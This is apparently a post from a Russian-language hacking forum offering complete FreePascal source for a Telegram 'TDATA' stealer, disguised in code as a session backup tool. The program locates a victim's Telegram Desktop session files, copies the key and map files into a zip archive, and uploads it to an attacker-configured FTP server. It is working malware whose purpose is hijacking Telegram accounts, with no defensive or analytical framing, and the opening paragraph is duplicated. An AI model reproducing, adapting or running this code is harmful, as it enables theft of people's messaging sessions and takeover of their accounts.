Написал: @rand
Copyright: XSS.is
Всем привет! Хочу показать примерную реализацию стилера TDATA на FreePascal:
Для работы этого кода тебе понадобятся юниты zipper (обычно в составе fcl-zip) и ftpclient (обычно в составе fcl-web). Убедись, что они установлены и доступны твоему компилятору Free Pascal. (Рекомендую IDE Lazarus).
Copyright: XSS.is
Всем привет! Хочу показать примерную реализацию стилера TDATA на FreePascal:
Для работы этого кода тебе понадобятся юниты zipper (обычно в составе fcl-zip) и ftpclient (обычно в составе fcl-web). Убедись, что они установлены и доступны твоему компилятору Free Pascal. (Рекомендую IDE Lazarus).
Code:
program BackupTelegramSessionCompact;
{$MODE DELPHI} // Для удобной работы со строками
{$H+} // Строки по умолчанию AnsiString
uses
SysUtils, // FileExists, CopyFile, RenameFile, CreateDir, PathDelim, GetHomeDir
FileUtil, // FindAllFiles, DeleteDirectory, ForceDirectories
DateTimeStr, // FormatDateTime
DateUtils, // Now
zipper, // TZipper
ftpclient; // TSimpleFTPClient
var
PathUsr: string;
BaseTelegramPath: string;
TdataPath: string;
ConnHashPath: string;
MapPath: string;
ArchiveName: string;
ZipFilePath: string;
FinalZipFilePath: string;
FileName: string; // Для итерации FindAllFiles
ZipFileObj: TZipper;
FTPClient: TSimpleFTPClient;
begin
// --- Конфигурация FTP ---
// >>> Замени на свои данные FTP! <<<
const FTPHost = 'Name host';
const FTPPort = 21;
const FTPUser = 'Login';
const FTPPass = 'Password';
const FTPRemoteDir = '/folder on your ftp server';
// -------------------------
Writeln('--- Запуск компактного бэкапа сессии Telegram ---');
// 1. Получаем пути и имя архива
PathUsr := GetHomeDir;
BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + 'AppData' + PathDelim + 'Roaming' + PathDelim + 'Telegram Desktop' + PathDelim;
TdataPath := BaseTelegramPath + 'tdata' + PathDelim;
ConnHashPath := TdataPath + 'connection_hash' + PathDelim;
MapPath := TdataPath + 'map' + PathDelim;
ArchiveName := FormatDateTime('dd_mm_yy_hh_nn', Now); // hh = 12-часовой формат, nn = минуты
ZipFilePath := BaseTelegramPath + 'session.zip'; // Временное имя архива
FinalZipFilePath := BaseTelegramPath + ArchiveName + '.zip'; // Финальное имя архива
// 2. Создаем временные директории (ForceDirectories создает и родительские, если нужно)
Writeln('Создание временных директорий...');
try
ForceDirectories(ConnHashPath);
ForceDirectories(MapPath);
except
on E: Exception do
Writeln('Ошибка при создании директорий: ' + E.Message);
Exit; // Выходим, если не можем создать директории
end;
// 3. Копируем нужные файлы в временные директории
Writeln('Копирование файлов...');
try
// Копируем файлы по паттерну D877F783D5D3EF8?* в map
for FileName in FindAllFiles(TdataPath, 'D877F783D5D3EF8*', False) do // False = не рекурсивно
if FileExists(FileName) then // FindAllFiles возвращает полные пути, FileExists проверяет
CopyFile(FileName, MapPath + ExtractFileName(FileName), False); // False = не перезаписывать (если вдруг)
// Копируем файлы по паттерну ??????????* в connection_hash
// Этот паттерн ищет файлы с именем длиной >= 10 символов в директории tdata
for FileName in FindAllFiles(TdataPath, '??????????*', False) do // False = не рекурсивно
if FileExists(FileName) then
CopyFile(FileName, ConnHashPath + ExtractFileName(FileName), False);
except
on E: Exception do
Writeln('Ошибка при копировании файлов: ' + E.Message);
// Продолжаем, но с ошибкой
end;
// 4. Создаем ZIP архив
Writeln('Создание ZIP архива...');
ZipFileObj := nil; // Инициализируем NIL для проверки в finally
try
ZipFileObj := TZipper.Create;
ZipFileObj.Open(ZipFilePath, zmWrite); // Открываем для записи
// Добавляем содержимое директории map (сохраняя структуру внутри zip)
ZipFileObj.AddDirectory(MapPath, 'map', []);
// Добавляем содержимое директории connection_hash
ZipFileObj.AddDirectory(ConnHashPath, 'connection_hash', []);
ZipFileObj.Close;
Writeln('ZIP архив успешно создан: ' + ZipFilePath);
except
on E: Exception do
Writeln('Ошибка при создании ZIP архива: ' + E.Message);
// Попытаемся очистить временные файлы и выйти
DeleteDirectory(ConnHashPath, [cdDeleteChildren, cdForceDirectories]); // cdForceDirectories - удалит даже если не пустая, cdDeleteChildren - рекурсивно
DeleteDirectory(MapPath, [cdDeleteChildren, cdForceDirectories]);
if FileExists(ZipFilePath) then DeleteFile(ZipFilePath);
Exit; // Выходим после критической ошибки
end
finally
// Гарантированное освобождение объекта TZipper
if Assigned(ZipFileObj) then
ZipFileObj.Free;
end;
// 5. Удаляем временные директории
Writeln('Удаление временных директорий...');
try
DeleteDirectory(ConnHashPath, [cdDeleteChildren, cdForceDirectories]);
DeleteDirectory(MapPath, [cdDeleteChildren, cdForceDirectories]);
Writeln('Временные директории удалены.');
except
on E: Exception do
Writeln('Ошибка при удалении временных директорий: ' + E.Message);
// Продолжаем, но с ошибкой
end;
// 6. Переименовываем ZIP архив
Writeln('Переименование ZIP архива...');
try
if FileExists(FinalZipFilePath) then
DeleteFile(FinalZipFilePath); // Удаляем старый файл, если существует
RenameFile(ZipFilePath, FinalZipFilePath);
Writeln('ZIP архив переименован в: ' + FinalZipFilePath);
except
on E: Exception do
Writeln('Ошибка при переименовании ZIP архива: ' + E.Message);
Exit; // Выходим после критической ошибки
end;
// 7. Отправка файла по FTP
Writeln('Подключение к FTP и отправка файла...');
FTPClient := nil; // Инициализируем NIL для проверки в finally
try
FTPClient := TSimpleFTPClient.Create(nil); // Создаем компонент без владельца
// Настройка и подключение (отлов ошибок здесь критичен)
FTPClient.Host := FTPHost;
FTPClient.Port := FTPPort;
// FTPClient.Debug := True; // Включить отладку, если нужно
Writeln('Подключение к ' + FTPHost + ':' + IntToStr(FTPPort) + '...');
FTPClient.Connect;
Writeln('Подключено. Логин...');
FTPClient.Login(FTPUser, FTPPass);
Writeln('Успешный логин. Переход в директорию: ' + FTPRemoteDir);
FTPClient.ChangeDir(FTPRemoteDir);
Writeln('Перешли в директорию.');
// Опционально: вывести список файлов на сервере (как ftp.dir() в Python)
// Writeln('Содержимое удаленной директории:');
// var FileList: TStrings; FileList := TStringList.Create; try FTPClient.List(FileList); Writeln(FileList.Text); finally FileList.Free; end;
// Отправка файла
Writeln('Отправка файла: ' + FinalZipFilePath + ' -> ' + ExtractFileName(FinalZipFilePath));
// TSimpleFTPClient.Put может отправить локальный файл по имени
FTPClient.Put(FinalZipFilePath, ExtractFileName(FinalZipFilePath));
Writeln('Файл успешно отправлен.');
// Отключение
Writeln('Отключение от FTP...');
FTPClient.Disconnect;
Writeln('Отключено.');
except
on E: Exception do
Writeln('Ошибка при работе с FTP: ' + E.Message);
// Не выходим, так как файл создан локально
end
finally
// Гарантированное освобождение объекта TSimpleFTPClient
if Assigned(FTPClient) then
FTPClient.Free;
end;
Writeln('--- Процесс бэкапа завершен ---');
// Для остановки консоли на Windows
// Writeln('Нажмите Enter для выхода...');
// Readln;
end.
👍27
🔥4
😮9
LIMB